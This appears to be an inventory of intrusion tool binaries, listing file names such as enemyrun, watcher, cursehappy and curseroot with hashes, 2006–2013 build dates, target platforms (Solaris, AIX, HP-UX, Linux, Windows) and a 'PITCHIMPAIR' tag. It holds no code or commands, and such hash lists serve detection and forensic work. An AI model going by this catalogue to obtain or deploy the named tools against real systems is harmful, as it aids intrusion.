enemyrun.linuxrhe3.6_v.4.0.0.5 +6ED9AEE28FF29FC7662E917966E8DACA88684FBB Mon Feb 13 12:46:39 2012 [PITCHIMPAIR.xx] enemyrun.sunos5.8.i386_v.4.0.0.5 +0992DC598EC7BD5F9AEA57B27FD9C768189CC727 Mon Feb 13 12:46:39 2012 [PITCHIMPAIR.xx] enemyrun.linuxrh7.3_v.4.0.0.5 +7E002B46EE7384D3BE2CDF6DAAD6CD3930622042 Wed Aug 8 13:58:49 2012 [PITCHIMPAIR.xx] enemyrun.hpux11.00_v.4.0.1.2 +46AB7FF7485F9EB12926303DFF123F6239D007F2 Wed Aug 8 13:58:49 2012 [PITCHIMPAIR.xx] enemyrun.linuxrhe3.6_v.4.0.1.2 +0E41BE4D91401CA3D89A2C73147DC4EC07F00464 Wed Aug 8 13:58:49 2012 [PITCHIMPAIR.xx] enemyrun.sunos5.8.i386_v.4.0.1.2 +FE628F79D61434F1D5009A63FD9791ED6067ECCD Wed Aug 8 13:58:49 2012 [PITCHIMPAIR.xx] enemyrun.linuxrh7.3_v.4.0.1.2 +5B361CEBDE1081B9512144EBD9E2A8B5E0C9EE7E Wed Aug 8 13:58:49 2012 [PITCHIMPAIR.xx] enemyrun.sunos5.8_v.4.0.1.2 +CE204B19B57D06E68C8BAB5705F87E35732C4FE6 Thu Jan 29 16:39:56 2009 [PITCHIMPAIR.xx] enemyrun.linux2.4.21-37.elsmp_v.3.1.0.2 +24BB76B1F4760BFF5A11BE9E64A7875A3B2BAAED Mon Nov 9 12:34:47 2009 [PITCHIMPAIR.xx] enemyrun.rhl7.3_v.3.1.1.5 +B3D73B297EAD170FF794200BBD937559273B827E Tue Nov 21 13:24:03 2006 [PITCHIMPAIR.xx] enemyrun.hp-uxb.11.00_v.2.0 +F1E00D94CAC9377546FB1E0172A1316A0F5C0D0C Tue Nov 21 13:25:46 2006 [PITCHIMPAIR.xx] enemyrun.sunos5.8_v.2.0 +2045B10C07F3EBF465F3E438D4F1FDA503FC404A Tue Nov 21 13:26:12 2006 [PITCHIMPAIR.xx] enemyrun.sunos5.9_v.2.0 +C10D0DACA133484602A4CEE0731CBDD0C1F91614 Tue Nov 21 13:25:20 2006 [PITCHIMPAIR.xx] enemyrun.hp-uxb.11.11_v.2.0 +20439C65F4866385D9F21C7D46CD2585B7B9B04C Thu Mar 8 21:23:49 2007 [PITCHIMPAIR.xx] enemyrun.sunos5.8_v.2.2 +D893E731F29164C7FABF6F3096BA8548A314AADF Wed Apr 2 19:59:53 2008 [PITCHIMPAIR.xx] enemyrun.v2.3.2.2.hp-uxb.11.00_v.2.3.2.2_hp-ux_11.0 +5DBDF318FC7A3B25620641BF56A19E938A296B51 Wed Apr 2 20:06:29 2008 [PITCHIMPAIR.xx] enemyrun.v2.3.2.2.sunos5.10_v.2.3.2.2_solaris_10 +F58F23357B7F6516ACAF7576FA1C8563D4958415 Wed Apr 2 20:01:57 2008 [PITCHIMPAIR.xx] enemyrun.v2.3.2.2.sunos5.8_v.2.3.2.2_solaris_8 +B1A7F0711AD6F92C1C99B0CDAAF853DC5B480C84 Wed Apr 2 20:05:03 2008 [PITCHIMPAIR.xx] enemyrun.v2.3.2.2.sunos5.9_v.2.3.2.2_solaris_9 +2F25A62C3FEE96EA5701EEBD44D0B059B68A9A38 Wed Apr 11 19:58:57 2007 [PITCHIMPAIR.xx] enemyrun.sunos5.8_v.2.3 +DD0AC5AA8F47AD681C486863DF4D26614C799199 Thu Jul 26 17:25:36 2007 [PITCHIMPAIR.xx] orleans_stride.aix5.1_v.2.4.0.2 +B93F3A67E73EFB0C953B8B6880E4DD343F598E85 Thu Jul 26 17:28:42 2007 [PITCHIMPAIR.xx] orleans_stride.sunos5.8_v.2.4.0.2 +B41546413BE32E7B64E676793FC22FBE58171B73 Thu Jul 26 17:29:22 2007 [PITCHIMPAIR.xx] orleans_stride.sunos5.9_v.2.4.0.2 +A9EDE9DACDD3F170F45844D3ED9584A1EF97F701 Fri Nov 7 16:58:43 2008 [PITCHIMPAIR.xx] orleans_stride.sunos5.8_v.2.5.0.2 +CDF7E474E7807FF17B3FE6AB1387D373F036CC86 Tue Nov 25 14:33:18 2008 [PITCHIMPAIR.xx] orleans_stride.aix5.1_v.2.5.0.2 +0DF93CD9EE88E4EB4201A9E9ABC4AAFECCEADA69 Fri Jul 9 13:36:50 2010 [PITCHIMPAIR.xx] orleans_stride.sunos5.8_v.3.0.0.1 +FC17BF018A02B75A5E2A21CFE560361AE4CE5A76 Fri Jul 9 13:36:50 2010 [PITCHIMPAIR.xx] orleans_stride.aix5.1_v.3.0.0.1 +6AE5B63149E94C20B3848E265B80D2E0D65FBC09 Sat Mar 26 23:12:07 2011 [PITCHIMPAIR.xx] orleans_stride.sunos5.8_v.3.1.0.1 +902F95FB45F04D92C634FDE728776802B42723DF Tue Apr 26 11:12:10 2011 [PITCHIMPAIR.xx] orleans_stride.aix5.1_v.3.1.0.1 +E288D1DEED89864493CC97D287FD636AA5B523C8 Mon Nov 2 19:30:33 2009 [PITCHIMPAIR.xx] orleans_stride.sunos5.8_v.2.5.2.7 +24E26751DCEB9199141EF898844305FE1F1F3271 Mon Nov 2 19:30:33 2009 [PITCHIMPAIR.xx] orleans_stride.aix5.1_v.2.5.2.7 +D0CC103697961D6E9D342275C635482ABBD30545 Fri May 15 14:10:43 2009 [PITCHIMPAIR.xx] orleans_stride.sunos5.8_v.2.5.1.9 +65E152D60D795D572D5743D3ECC22DE827D82B1E Fri May 15 14:10:32 2009 [PITCHIMPAIR.xx] orleans_stride.aix5.1_v.2.5.1.9 +6290028FE300A5739CFD593B6FAC6614D9B02149 Fri Oct 13 13:58:44 2006 [PITCHIMPAIR.xx] orleans_tride.sunos5.8_v.2.0 +4B327E0A3E6FC3197836DF73A7D5341A7BF872DC Fri Mar 16 19:21:16 2007 [PITCHIMPAIR.xx] orleans_tride_v2.2_aix5.1_v.2.2 +7351950BCB494DA867374BF725C757F80C2EB8D0 Fri Mar 30 18:56:34 2007 [PITCHIMPAIR.xx] orleans_stride.0.0.sunos5.8_v.2.3 +FF20BB527EB02EFC1EDDD6C45732EE308C0C7EA7 Thu Oct 15 21:11:25 2009 [PITCHIMPAIR.xx] sift.linux_v.2.0.1.1 +B226BD9E2629ED19D345CCE60440507C1AED246C Thu Oct 15 21:11:25 2009 [PITCHIMPAIR.xx] sift.solaris.x86_v.2.0.1.1 +FD56631F47701C20DDF63D42712CA55349ED2B86 Thu Oct 15 21:11:25 2009 [PITCHIMPAIR.xx] sift.solaris.sparc_v.2.0.1.1 +491A116C4E73A2380250BB5A027F9FF948293813 Mon Jan 14 19:07:06 2013 [PITCHIMPAIR.xx] sift_-freebsd_5.0-i386_v.2.1.0.0 +10964C179463D1B5F590594AEF9FB8561D946724 Mon Jan 14 19:07:06 2013 [PITCHIMPAIR.xx] sift_-freebsd_6.0-i386_v.2.1.0.0 +6E9B85244523AF53F343FE18D3EBDE4BDCE5FA65 Mon Jan 14 19:07:07 2013 [PITCHIMPAIR.xx] sift_-freebsd_7.0-i386_v.2.1.0.0 +B3A30430A5347C1723F65072951CCF05E079DB14 Mon Jan 14 19:07:07 2013 [PITCHIMPAIR.xx] sift_-linux-i386_v.2.1.0.0 +C5472F33F1F5AEB61974A866EB5A9705C3892A41 Mon Jan 14 19:07:07 2013 [PITCHIMPAIR.xx] sift_-solaris_2.7-sparc_v.2.1.0.0 +F6D063A987D2DAD4B970F0FB84B3E5AD342A1410 Mon Jan 14 19:07:07 2013 [PITCHIMPAIR.xx] sift_-freebsd_7.0-x86_64_v.2.1.0.0 +2D691871F36B3A0A7DCB1F1F9B0ECFAA6EE67CB6 Mon Jan 14 19:07:07 2013 [PITCHIMPAIR.xx] sift_-solaris_2.8-i386_v.2.1.0.0 +39E8B3A8B392FAFB8BB57054E085A3F3440E9DBB Mon Jan 14 19:07:07 2013 [PITCHIMPAIR.xx] sift_-linux-x86_64_v.2.1.0.0 +E0D3C2B414F88E9A82D2A20E5BF530999DF1685B Mon Jul 26 12:51:18 2010 [PITCHIMPAIR.xx] skimcountry.sunos5.8_v.2.0.0.3 +C6B0D0D7DE22D73BA10D489F54DEEEBA1F160667 Mon Jul 26 12:51:18 2010 [PITCHIMPAIR.xx] skimcountry.aix5.1_v.2.0.0.3 +410E467CC96BDCF8A0382BB08D6128282893A6D9 Fri Oct 22 15:49:01 2010 [PITCHIMPAIR.xx] skimcountry__flx.aix5.1.powerpc_v.1.0.0.4 +760F723A7DA566B4D850AAD691136BCA0E964C91 Mon Jun 6 18:03:52 2011 [PITCHIMPAIR.xx] skimcountry__flx.aix5.1.powerpc_v.1.0.1.1 +181E9E23A0C158E690CE271E7061E6D6F52EEAFC Tue Aug 15 16:57:44 2006 [PITCHIMPAIR.xx] skimcountry.sunos5.9_v.1.2 +047F217B798BEDCA2D7851822EA56A186ACBD379 Tue May 27 19:20:34 2008 [PITCHIMPAIR.xx] skimcountry.v1.3.0.2.sunos5.8_v.1.3.0.2_solaris_8 +8F6114ABF88C2807CD1F76BCC35F0F6EBE4D2B7B Tue May 27 19:21:06 2008 [PITCHIMPAIR.xx] skimcountry.v1.3.0.2.sunos5.9_v.1.3.0.2_solaris_9 +993D905CB92BE323CA83330F353E348E4AD91006 Fri Mar 6 17:50:21 2009 [PITCHIMPAIR.xx] skimcountry.sunos5.8_v.1.4.0.10 +FF4C1F400BB1BA53A153BDBD3F57FDB4537743F8 Fri Mar 6 17:48:47 2009 [PITCHIMPAIR.xx] skimcountry.aix5.1_v.1.4.0.10 +E4BB312243DD18D33021FFEA8D340D3950ACFBFD Wed May 20 19:05:30 2009 [PITCHIMPAIR.xx] watcher.x86.linux_v.2.5.0.1 +3F9076543A8950D8CE1A42C60DB1CA45FECB6238 Wed May 20 19:05:30 2009 [PITCHIMPAIR.xx] watcher.solaris.sparc_v.2.5.0.1 +09A287C371A9BE0CBF070CE8985A4512CED4EA9E Mon Nov 23 21:09:41 2009 [PITCHIMPAIR.xx] watcher.i386-linux_v.2.6.0.1 +84D4C64A64294E71B5409FD4DBA95359B7F1C11A Mon Nov 23 21:09:41 2009 [PITCHIMPAIR.xx] watcher.sparc-sun-solaris2.6_v.2.6.0.1 +79B04CB34130F60B3FF747E02C5F6BFFD2701B9F Thu Dec 17 18:58:14 2009 [PITCHIMPAIR.xx] watcher.sparc-sun-solaris2.6_v.2.6.1.1 +E68A9D191E0F386E021DB15F84241D5064E9CB5D Thu Dec 17 18:58:14 2009 [PITCHIMPAIR.xx] watcher.i386-linux_v.2.6.1.1 +FD4AAB02DF0364B049723EE34BBF92C9472426D6 Fri Oct 14 22:26:26 2011 [PITCHIMPAIR.xx] watcher.x86-solaris_v.2.7.0.0 +CF671F45391B1F03BC2D2DF1D6E513A831E14910 Fri Oct 14 22:26:26 2011 [PITCHIMPAIR.xx] watcher.sparc-solaris_v.2.7.0.0 +65B31BEB0E547D5A4379853F179B64549E4C1394 Fri Oct 14 22:26:26 2011 [PITCHIMPAIR.xx] watcher.x86-linux_v.2.7.0.0 +027FCD5B88CFD0B500ECFAB7D4C687E9E69F33E2 Fri Aug 31 14:20:21 2012 [PITCHIMPAIR.xx] watcher-2.7.1.0-solaris-i386_v.2.7.1.0 +75F15A98F8B583FEFA60579A4765DDE23E853EFF Fri Aug 31 14:20:21 2012 [PITCHIMPAIR.xx] watcher-2.7.1.0-linux-i386_v.2.7.1.0 +A6DBEBE55655712831318E3DDEDE00CFEA26A3AB Fri Aug 31 14:20:21 2012 [PITCHIMPAIR.xx] store_v.2.7.1.0 +E16CEB4CB54D1E14BFE7BB8056AC384D33BCFEC7 Fri Aug 31 14:20:21 2012 [PITCHIMPAIR.xx] watcher-2.7.1.0-solaris-sparc_v.2.7.1.0 +EA155D62A480F34EF4EB789895D41A3F786F0A47 Fri Dec 7 20:10:37 2012 [PITCHIMPAIR.xx] watcher-3.0.0.1-solaris-sparc_v.3.0.0.1 +1466A8AEA41F847EDC98C31B34C8810D836643AF Fri Dec 7 20:10:37 2012 [PITCHIMPAIR.xx] watcher-3.0.0.1-solaris-i386_v.3.0.0.1 +F99FC7101C9DFFB60108112471AC484969249FE0 Fri Dec 7 20:10:37 2012 [PITCHIMPAIR.xx] store_v.3.0.0.1 +8C05CF9DEBA1356F8E12EF61FAE887DF407DF4F4 Fri Dec 7 20:10:37 2012 [PITCHIMPAIR.xx] watcher-3.0.0.1-linux-i386_v.3.0.0.1 +22BCBA573DB3CAC277B5C17A4E5F4EFA5C0BC494 Thu Mar 21 18:13:16 2013 [PITCHIMPAIR.xx] store-linux-i386_v.3.1.0.1 +3C0D6C9462CEA03B24A24F38DB805C8FE65C140F Thu Mar 21 18:13:16 2013 [PITCHIMPAIR.xx] watcher-linux-i386_v.3.1.0.1 +BEA2F86CB75176020B5A66DED1862CCEEFCD7CA5 Thu Mar 21 18:13:16 2013 [PITCHIMPAIR.xx] watcher-linux-x86_64_v.3.1.0.1 +69674CC270DED2263C165DB80F76BB5C8BBA1576 Thu Mar 21 18:13:16 2013 [PITCHIMPAIR.xx] watcher-solaris-sparc_v.3.1.0.1 +2AA8DB5704F4AA3C6CE32C601948630879EE7497 Thu Mar 21 18:13:16 2013 [PITCHIMPAIR.xx] watcher-solaris-i386_v.3.1.0.1 +D2BF3E02231A43E1C23EB6953D1225E3759417B2 Fri Apr 5 20:50:03 2013 [PITCHIMPAIR.xx] store-linux-i386_v.3.1.1.2 +CD30BDFE72B6637BFF56054BD5DC28688DEEAEF5 Fri Apr 5 20:50:03 2013 [PITCHIMPAIR.xx] watcher-linux-i386_v.3.1.1.2 +A5DD19C52F4D0EFE23258E7D0121572560A91226 Fri Apr 5 20:50:04 2013 [PITCHIMPAIR.xx] watcher-linux-x86_64_v.3.1.1.2 +75CC2105A7D388E43A8A8EE8F272B5582A10CED5 Fri Apr 5 20:50:04 2013 [PITCHIMPAIR.xx] watcher-solaris-sparc_v.3.1.1.2 +A4606FDC49500410A98A8DA669D581A74C59CEBA Fri Apr 5 20:50:04 2013 [PITCHIMPAIR.xx] watcher-solaris-i386_v.3.1.1.2 +F164DAA27C131789A26E9C593C49EC22329D87CD Thu Jun 6 20:49:56 2013 [PITCHIMPAIR.xx] store-linux-i386_v.3.2.0.1 +7931C34D569CBB5BCDB197601A6185F762F6A597 Thu Jun 6 20:49:56 2013 [PITCHIMPAIR.xx] watcher-linux-i386_v.3.2.0.1 +E889F35D95B17FAEA273BE16AD3F0DC1AECE92F9 Thu Jun 6 20:49:56 2013 [PITCHIMPAIR.xx] watcher-linux-x86_64_v.3.2.0.1 +40C35E6CAE4CB2414BBE4B4F631683A8EFF9427B Thu Jun 6 20:49:56 2013 [PITCHIMPAIR.xx] watcher-solaris-sparc_v.3.2.0.1 +AB1B72AC2A08724E8702047555C51620E23CCBAF Thu Jun 6 20:49:56 2013 [PITCHIMPAIR.xx] watcher-solaris-i386_v.3.2.0.1 +3DC70B280A3191CE13EA0AA37367D985162D89FB Fri Oct 19 17:51:32 2012 [PITCHIMPAIR.xx] charm_hammer.linuxrh7.3.i686_v.1.0.0.3 +092290E03075FA55B66874398E72EE3956F15F3B Fri May 18 14:48:32 2012 [PITCHIMPAIR.xx] charm_penguin.sunos5.8_v.2.0.1.4 +745A652564161CDD09BE5FB188D37F7029F6A167 Tue Jun 15 18:04:46 2010 [PITCHIMPAIR.xx] charm_razor.win2k_v.2.0.0.1 +34288D6AEE12B7413901998B0E5ECD57A50980F6 Thu Nov 8 15:20:26 2012 [PITCHIMPAIR.xx] charm_razor.linux2.6.5-7.97-smp.i686_v.2.1.0.2 +9B1608CD4BFCD8D6970187589AE999E0829C81B7 Thu Jun 3 16:21:12 2010 [PITCHIMPAIR.xx] charm_saver.hpux11.00_v.2.0.0.2 +AA7D6B77B5C000314C856431883DF2B0D12EC046 Tue May 4 17:03:39 2010 [PITCHIMPAIR.xx] charm_saver.win2k_v.2.0.0.2 +30B0CBBFB4F6F9CBF40A0A18E08B4C71231D2B1D Thu May 17 14:23:42 2012 [PITCHIMPAIR.xx] crypttool.sunos5.8.sparc_v.2.0.1.3 +ED3FA710317E7D0BCDED864C7766E9D8530AE238 Thu May 17 14:23:42 2012 [PITCHIMPAIR.xx] crypttool.linux2.4.18-3_v.2.0.1.3 +36821190B36342B1ED7C5FE185D3B4FD0F820B43 Thu May 17 14:23:42 2012 [PITCHIMPAIR.xx] crypttool.sunos5.8.i386_v.2.0.1.3 +5F5B1285967393B7A2485EBE3ADEF9D2047E4CA8 Thu May 17 14:23:42 2012 [PITCHIMPAIR.xx] crypttool.win2k_v.2.0.1.3 +F52340918751E515BBF9B4B111EAFE81E28874E0 Thu May 17 14:23:42 2012 [PITCHIMPAIR.xx] crypttool.hpuxb.11.00_v.2.0.1.3 +1A0B601B7A2B72606D4193E5A5E7D4A610C9CA7F Thu May 17 14:23:42 2012 [PITCHIMPAIR.xx] crypttool.aix5.1_v.2.0.1.3 +9096C1AA8ECEDA532F47F82572ED5534F33FA4C7 Fri Dec 21 16:35:36 2012 [PITCHIMPAIR.xx] crypttool.sunos5.8.sparc_v.2.1.0.2 +937F493E538B96C29F48A5957B16B0356498998B Fri Dec 21 16:35:36 2012 [PITCHIMPAIR.xx] crypttool.linux2.4.18-3_v.2.1.0.2 +A69F4E110877B015D2909B8F54BC18169A589F47 Fri Dec 21 16:35:36 2012 [PITCHIMPAIR.xx] crypttool.sunos5.8.i386_v.2.1.0.2 +954F4778E5CD7A31B575B8C3C5B69A24D753E87B Fri Dec 21 16:35:36 2012 [PITCHIMPAIR.xx] crypttool.win2k_v.2.1.0.2 +80A7419E7A8CFD28E0E790F79AC518EEFEAE93CA Fri Dec 21 16:35:36 2012 [PITCHIMPAIR.xx] crypttool.hpuxb.11.00_v.2.1.0.2 +93249C66F57121DEBD98395E0B5A10517CA25DD4 Fri Dec 21 16:35:36 2012 [PITCHIMPAIR.xx] crypttool.aix5.1_v.2.1.0.2 +908A7347F0622960E8225BF3206636111CBE0AED Mon May 3 12:24:51 2010 [PITCHIMPAIR.xx] cursebongo.sunos5.8_v.2.0.0.1 +0D4A01E9C4F0683078650DD94CCE24BAE65168C5 Tue Jun 5 13:16:47 2012 [PITCHIMPAIR.xx] curseclash.aix5.1.powerpc_v.1.0.1.1 +C81DAF1D7D76DA410857A90953E8D7A1909D948F Wed Oct 10 11:44:56 2012 [PITCHIMPAIR.xx] curseclash_flx.sunos5.8.sparc_v.1.0.0.3 +93E018FB88F01C223B11C4F6026E321B29A59853 Wed Oct 10 11:44:56 2012 [PITCHIMPAIR.xx] curseclash_flx.aix5.1.powerpc_v.1.0.0.3 +4635E05651DBCD3F2EDA4A174D7C33F01DE1C9C3 Wed Jun 15 12:36:05 2011 [PITCHIMPAIR.xx] cursedevo.sunos5.8_v.1.0.0.3 +E4A544206B0501E67F16A26093428AC334A973E5 Fri Dec 7 21:11:59 2012 [PITCHIMPAIR.xx] cursefire.linuxrh7.3.i686_v.1.1.0.2 +19ABD4D601359BB4ECF8B9697DAAA7F6BEA9F402 Mon Jun 4 12:39:14 2012 [PITCHIMPAIR.xx] cursefire.sunos5.8.sparc_v.1.0.0.3 +DCD5465C9327A0AFE309A116AB428B6EA95B60FE Tue Aug 11 16:34:57 2009 [PITCHIMPAIR.xx] curseflower.mswin32_v.1.0.0.3 +475EE14BB59E2CBF1625AC75C269F44C0577E5D0 Wed Oct 10 11:33:56 2012 [PITCHIMPAIR.xx] cursegismo.sunos5.8.sparc_v.2.2.0.2 +327901EDA008636E3A944B82D44FF16F14A863AE Wed Oct 10 11:33:56 2012 [PITCHIMPAIR.xx] cursegismo.sunos5.8.i386_v.2.2.0.2 +C6BEF72471D15F33FEACE85D10CB0F3AD8C1AE78 Wed Oct 10 11:33:56 2012 [PITCHIMPAIR.xx] cursegismo.linuxrh7.3.i686_v.2.2.0.2 +84B2DDBE9ECACCA5E786079C314AB1F0C935A401 Wed Jan 27 16:36:17 2010 [PITCHIMPAIR.xx] cursegismo.linuxrh7.3_v.2.0.0.2 +90B50B531E0DB2DFDF885F23E531973B1C85DF24 Wed Jan 27 16:36:17 2010 [PITCHIMPAIR.xx] cursegismo.sunos5.8_v.2.0.0.2 +3DE069D24A523C10A1F2CF6E53DB86DE4878CA40 Wed Jan 27 16:36:17 2010 [PITCHIMPAIR.xx] cursegismo.hpuxb.11.00_v.2.0.0.2 +7B73F0EB39A434DAB80BE1F5240AAA8ED3499C28 Fri Feb 11 18:14:28 2011 [PITCHIMPAIR.xx] cursegismo.sunos5.8.i386_v.2.1.0.1 +CAB5155EF63DC824DE53568A639735310C35EF22 Fri Feb 11 18:14:28 2011 [PITCHIMPAIR.xx] cursegismo.linuxrh7.3_v.2.1.0.1 +78DA2E62CD6A53B75A38A41DC65950BA10828D87 Fri Feb 11 18:14:28 2011 [PITCHIMPAIR.xx] cursegismo.sunos5.8_v.2.1.0.1 +91ACE7E5E2073367D810C933E10ABF35432094F7 Fri Feb 11 18:14:29 2011 [PITCHIMPAIR.xx] cursegismo.hpux11.00_v.2.1.0.1 +133041F8A5206116CF4A14883BC93DD53641C00B Mon Apr 12 14:32:04 2010 [PITCHIMPAIR.xx] cursegismo.sunos5.8.i386_v.2.0.0.5 +6485249152B9A0DCC327D80F400275CA0703773C Mon Mar 1 16:58:42 2010 [PITCHIMPAIR.xx] cursehappy.win2k_v.6.0.0.1 +D0E3E98DA05D29FB9802291E744EF1667582D756 Mon Mar 1 16:58:42 2010 [PITCHIMPAIR.xx] cursehappy.rhl7.3_v.6.0.0.1 +96CE881EA4546F46961475A9D6B0BF40D1B7BE31 Mon Mar 1 16:58:42 2010 [PITCHIMPAIR.xx] cursehappy.hp-uxb.11.00_v.6.0.0.1 +16C7C11BD8C70F333F16341ABA0DB2BAAD0904FC Mon Mar 1 16:58:42 2010 [PITCHIMPAIR.xx] cursehappy.sunos5.8_v.6.0.0.1 +00D54B5F950A377E900B64B565DA58FD014EB672 Thu Aug 19 19:53:54 2010 [PITCHIMPAIR.xx] cursehappy.sunos5.8_v.6.1.0.1 +EDA9AD9BE6CCBCCCDD96EEEADF2E744E4297A5C0 Thu Aug 19 19:53:54 2010 [PITCHIMPAIR.xx] cursehappy.hpux11.00_v.6.1.0.1 +E79BCE98D9F64ED71CFCA7C6C507FC7723F9861A Thu Aug 19 19:53:54 2010 [PITCHIMPAIR.xx] cursehappy.win2k_v.6.1.0.1 +D83037BC4E025BABA874E5BBA4079C4205B9B264 Thu Aug 19 19:53:54 2010 [PITCHIMPAIR.xx] cursehappy.linuxrh7.3_v.6.1.0.1 +AAB569E5B3643DBE07F981EFA6E1F2D68E25B723 Tue Nov 8 16:44:22 2011 [PITCHIMPAIR.xx] cursehappy.linuxrh7.3.unknown_v.6.2.0.3 +4214A7541803C3AC87C3C491487F11E96FC4B058 Tue Nov 8 16:44:22 2011 [PITCHIMPAIR.xx] cursehappy.hpux11.00.risc_v.6.2.0.3 +A41EE20E65397DCE5F288B748A52C6D6C4F9154A Tue Nov 8 16:44:22 2011 [PITCHIMPAIR.xx] cursehappy.win2k.i686_v.6.2.0.3 +397DF64863C130F5BD3C8A1E179C86CD6B48F23F Tue Nov 8 16:44:22 2011 [PITCHIMPAIR.xx] cursehappy.sunos5.8.sparc_v.6.2.0.3 +AA227C89ACE731945DC53ACF7DC90DECB4C2DBE4 Thu Sep 2 11:33:10 2010 [PITCHIMPAIR.xx] cursehelper.win2k_v.2.1.0.2 +0D151AB49A9974844A0089B9C576AA6218479512 Thu Sep 2 11:33:10 2010 [PITCHIMPAIR.xx] cursehelper.sunos5.8_v.2.1.0.2 +2B6ABB47B4C5DF369A794A6FED08CD476470C9FC Thu Sep 2 11:33:10 2010 [PITCHIMPAIR.xx] cursehelper.hpux11.00_v.2.1.0.2 +0D42734F8F15EDFFB3B73A6DFDE6FC60DC2FC045 Thu Sep 2 11:33:10 2010 [PITCHIMPAIR.xx] cursehelper.aix5.1_v.2.1.0.2 +FBF7334531AED88C938B61F394FFAAC0FB01D38E Tue Mar 6 12:16:44 2012 [PITCHIMPAIR.xx] cursehelper.win2k.i686_v.2.2.0.4 +733D6939BD35C01661017299D21DA157EF4FF210 Fri Feb 10 16:05:35 2012 [PITCHIMPAIR.xx] cursehelper.sunos5.8.sparc_v.2.2.0.4 +68DA058E84F85135CC93836394FE2AA761DAA712 Tue Mar 6 12:16:37 2012 [PITCHIMPAIR.xx] cursehelper.aix5.1.powerpc_v.2.2.0.4 +5346758117978E6DD9614D06E03F1139436D3BB3 Tue Mar 6 12:16:41 2012 [PITCHIMPAIR.xx] cursehelper.hpux11.00.risc_v.2.2.0.4 +3DA7D89E3971659334780BEC8B6A41DC57BCD800 Wed Apr 17 12:30:09 2013 [PITCHIMPAIR.xx] cursehelper.linuxrh7.3.i686_v.2.2.1.1 +0BF3892053FB4F3B9781C0AF0FCB807B5DE8C1DD Tue Jul 10 17:05:24 2012 [PITCHIMPAIR.xx] cursehelper.sunos5.8.i386_v.2.2.0.4 +3BC7ADFF5142E362048E633ADBE6BF4389B9CB85 Thu Feb 28 16:55:12 2013 [PITCHIMPAIR.xx] cursehole_flx.aix5.1.powerpc_v.1.0.0.4 +E445C73287B999AC7285765B6EF6FE872A0685F6 Tue Feb 12 14:32:02 2013 [PITCHIMPAIR.xx] cursehole_flx.sunos5.8.sparc_v.1.0.0.3 +B8009CA04040EBECE514073BD822DA91C3DB7A32 Wed May 16 14:26:19 2012 [PITCHIMPAIR.xx] cursekettle.hpux11.00.risc_v.1.1.0.2 +ED00A5537A9F0CD8E7E58F6693C607BB33AD7748 Mon Jun 13 18:22:03 2011 [PITCHIMPAIR.xx] cursekiln.sunos5.8_v.1.0.0.2 +BFAF9F5CF11D26ED93A4BF6359D7AF02A298343C Fri Dec 2 15:23:34 2011 [PITCHIMPAIR.xx] cursekiln.sunos5.8_v.1.0.1.3 +9BD3FEB3AE384C1592ACC5FEC2B0F8BB740BC405 Fri Apr 9 10:41:47 2010 [PITCHIMPAIR.xx] cursemagic.linuxrh7.3_v.2.0.0.1 +230335E9756A226A95B86C8EA709320959A3AFE5 Fri Apr 9 10:39:17 2010 [PITCHIMPAIR.xx] cursemagic.solaris5.8_v.2.0.0.1 +FB1B509AB5167368EE71CA93EECFAAD66D4765C1 Tue Apr 20 18:58:26 2010 [PITCHIMPAIR.xx] cursemagic.solaris5.8_v.2.0.1.1 +F3D41481F353EE9AC9ED9777F12FFFBAEB814C7F Tue Apr 20 18:58:26 2010 [PITCHIMPAIR.xx] cursemagic.linuxrh7.3_v.2.0.1.1 +5BD539E66B8EFBC1E6077F22F3CC850E9487222D Wed Apr 21 16:17:24 2010 [PITCHIMPAIR.xx] cursemagic.hpux11.00_v.2.0.1.1 +26EB533FA7E3EA9559FD71E3B6C470497C3B25F4 Wed Apr 21 16:17:29 2010 [PITCHIMPAIR.xx] cursemagic.aix5.1_v.2.0.1.1 +F191378B2B009A1DAF0DBEB5F066AC1D981CF12E Fri Oct 14 15:40:04 2011 [PITCHIMPAIR.xx] cursemagic.aix5.1_v.2.1.0.3 +D1BBDA568B0EFBEEC395203C67659B154A1523FA Fri Oct 14 15:40:04 2011 [PITCHIMPAIR.xx] cursemagic.linuxrh7.3_v.2.1.0.3 +4E5418CB07531150AF21CFEF2E61CFBC7AA7841F Fri Oct 14 15:40:04 2011 [PITCHIMPAIR.xx] cursemagic.sunos5.8_v.2.1.0.3 +4DD9975EF41041B5EBB7436D0133E5D2E94AAF36 Fri Oct 14 15:40:04 2011 [PITCHIMPAIR.xx] cursemagic.hpux11.00_v.2.1.0.3 +5DD669543CDF1C080324BE347E838C8EA9E5FE80 Fri Aug 6 14:28:56 2010 [PITCHIMPAIR.xx] cursenag.sunos5.8_v.1.0.0.1 +D63912E862CAAC386EDF1581CC57D28DC88CBF00 Thu Jul 15 15:51:43 2010 [PITCHIMPAIR.xx] cursequake.sunos5.8_v.1.0.0.2 +C45D7E21D425B5DFEEBB35F030101D0CE8102EFE Tue Jun 28 16:51:30 2011 [PITCHIMPAIR.xx] cursequake.sunos5.8_v.1.1.0.4 +349885662B4C89A399DE5C5CC96BFFC394911E77 Thu Jan 20 19:51:40 2011 [PITCHIMPAIR.xx] curserazor.win2k_v.2.0.0.5 +CE2AB103A224872A374EBD6AD16C0C63C2A82823 Thu Jan 20 19:51:40 2011 [PITCHIMPAIR.xx] curserazor.sunos5.8_v.2.0.0.5 +BB8E43C87C436F886F515BCF1439CB214C6FC726 Tue Apr 12 13:41:50 2011 [PITCHIMPAIR.xx] curserazor.win2k_v.2.0.1.1 +1F36611F0A9E1B9BCF9BDE6E983FBABE628D7F33 Tue Apr 12 13:41:50 2011 [PITCHIMPAIR.xx] curserazor.sunos5.8_v.2.0.1.1 +B3370BB449078047FB7BB9B8425CDCC2A3015326 Fri Sep 21 17:18:54 2012 [PITCHIMPAIR.xx] curseroot_flx.hpux11.00.risc_v.1.1.0.3 +7466C5ED2265CA3A9C20B400FB2F848BD45A5B09 Wed Jan 6 19:54:14 2010 [PITCHIMPAIR.xx] curseroot.hpuxb.11.00_v.2.0.0.3 +7060A7B90CDEE01ED2EC5F2088FF3E280844DCE3 Thu Feb 18 21:01:21 2010 [PITCHIMPAIR.xx] cursetails.aix5.1_v.1.0.0.1 +F7EA435175DEE6B6D9017120781FB5CB99CF5CD2 Thu Sep 18 16:43:33 2008 [PITCHIMPAIR.xx] cursetingle.aix.5.1_v.1.1.1.1 +9B6399503D696C83D6EA4073321A20E84B354EAE Thu Aug 27 16:45:39 2009 [PITCHIMPAIR.xx] cursetingle.mswin32_v.2.0.0.1 +DECFE5F18D8A50525A0C8A9F52503D35A213C267 Tue Jul 31 16:34:49 2012 [PITCHIMPAIR.xx] cursesalsa.hpux11.00.risc_v.1.0.0.1 